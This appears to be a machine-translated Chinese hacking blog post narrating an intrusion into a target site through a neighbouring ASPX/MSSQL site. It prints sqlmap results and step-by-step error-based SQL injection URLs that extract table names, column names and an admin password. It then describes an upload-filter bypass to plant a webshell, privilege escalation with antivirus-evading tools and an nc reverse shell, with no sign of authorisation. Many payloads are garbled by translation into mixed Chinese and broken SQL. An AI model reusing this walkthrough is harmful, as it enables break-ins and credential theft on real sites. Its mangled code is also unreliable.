Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86395705

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

我已经实习了一个月,我觉得每天仍然很充实〜

前言:

目标站点:A.Com

经过一系列常规操作,我发现主站点上没有什么可开始的。幸运的是,车站A没有CDN,因此您可以尝试从侧车站进入。

IP反调查,我得到了同一服务器的大约20个域名。手动通过了几次之后,我发现侧站B.com(ASPX+MSSQL)已添加了单引号并报告了错误。我将其扔进了SQLMAP,然后首先运行它,然后继续看另一个侧面站。但是,其中大多数是WordPress站点或纯粹是静态的。我没有任何麻烦。看完一段时间后,我发现SQLMAP运行的结果如下:

123456789101112---Parameter: ProductID (GET)Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: ProductID=2' AND 1913=1913 AND 'GquC'='GquCType: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING条款(in)有效载荷: produciD=2'和1360 in(select(char(113)+char(113)+char(113)+char(107)+char(107)+char(107)+char(113)+char(113)+(select(select(case(1360=1360)) 'JOdp'='JOdp---web server operating system: Windows 8.1 or 2012 R2web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5back-end DBMS: Microsoft SQL Server 2008 When using SQLmap to continue running data, it was found that all dynamic pages of B station B reported errors.错误内容被翻译成一个短时间,这导致了过载数据库的查询请求太多,从而导致线程池被超载。

等待大约十分钟后,该网站恢复了正常,因此在关键时刻,手动工作仍然可靠。

MSSQL错误注入:

由于SQLMAP给出的提示包括错误注入,因此直接用于注入错误,这是相对效率的。以下是注射过程以及需要关注的内容:

获取数据库名称:

121. http://B.com/AutoMain.aspx?ProductID=1' and db_name()0--b.com_db

查询当前数据信息:

121. http://B.com/AutoMain.aspx?ProductID=1' having 1=1--Product.ProductID

踩坑的指南:

The subquery does not support returning multiple数据,MSSQL不像MySQL那样支持限制。该解决方案在

获取表名称:

1234561。http://B.com/automain.aspx?productId=1'and 1=(从sysobjects中选择xtype='u'and name!='fofe'sysobjects中的顶部1个名称! http://b.com/automain.aspx?productId=1'and 1=(从信息_schema.tables中选择顶级1个table_name); - 此方法可以查询任何用户表:3http://b.com/automain.aspx?productId=1'and con中的最佳名称,从sysobepts中选择xtypepts xtypempts xtypepts xtypepts xtypepts xtype) 1--Getted user table: AdminLogin

获取列名:

123456781. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from sysobjects where id=(select id from sysobjects where name='AdminLogin') and name'id');--2. http://b.com/automain.aspx?productId=1'and 1=(从Information_schema.columns中选择顶级1列name); - 此方法可以查询adminlogin表的任何列:3。3http://b.com/automain.aspx?productId=1'and(colog_nate) sysobjects)1-获取用户表的列名:adminusernamePassword

获取数据:

123451。http://b.com/automain.aspx?productId=1',然后(从Adminlogin中选择Adminlogin中的顶级1用户名。 http://b.com/automain.aspx?productId=1'and(从Adminlogin中选择顶级1密码,其中adminid=1)1-计算密码:Adminisrislamabad

效果显示在图片中:

2

边框getshell:

通过获得的帐户密码成功登录了B站的网站后端

3

文件上传位置仅验证文件类型,上传图片以获取包裹并更改后缀。连接到外壳后,您发现没有跨目录的许可,因此您只能继续增加权限。

4

主机特权升高:

一开始,我查看了系统过程,它不应该杀死软(实际上,有些,从国外杀死软的人的名字不是很引人注目),而且我什至没有打过几个补丁,所以我认为很容易得到它。

我以为我可以通过常规操作取消它,因此我直接运行了CS的遥控器,发现没有在线主机。仔细看了看后,我看到特洛伊木马刚刚去世,然后我意识到自己遇到了杀手。然后,我尝试了几个升高的当地经验,要么被杀,要么报告了错误。

后来我想起,来自吐司的兄弟分享了免于杀人的远程权利工具:

成功促进权力:

5

促进功率成功后,随后的操作将是顺利的。目的是获得A.Com Shell,首先使用NC使用系统权限反弹CMDShell,然后您可以直接写马或远程下载它,并且还有许多其他姿势.

参考文章:

https://www.jianshu.com/p/0cf7bd46237e

https://github.com/aleenzz/mssql_sql_bypass_wiki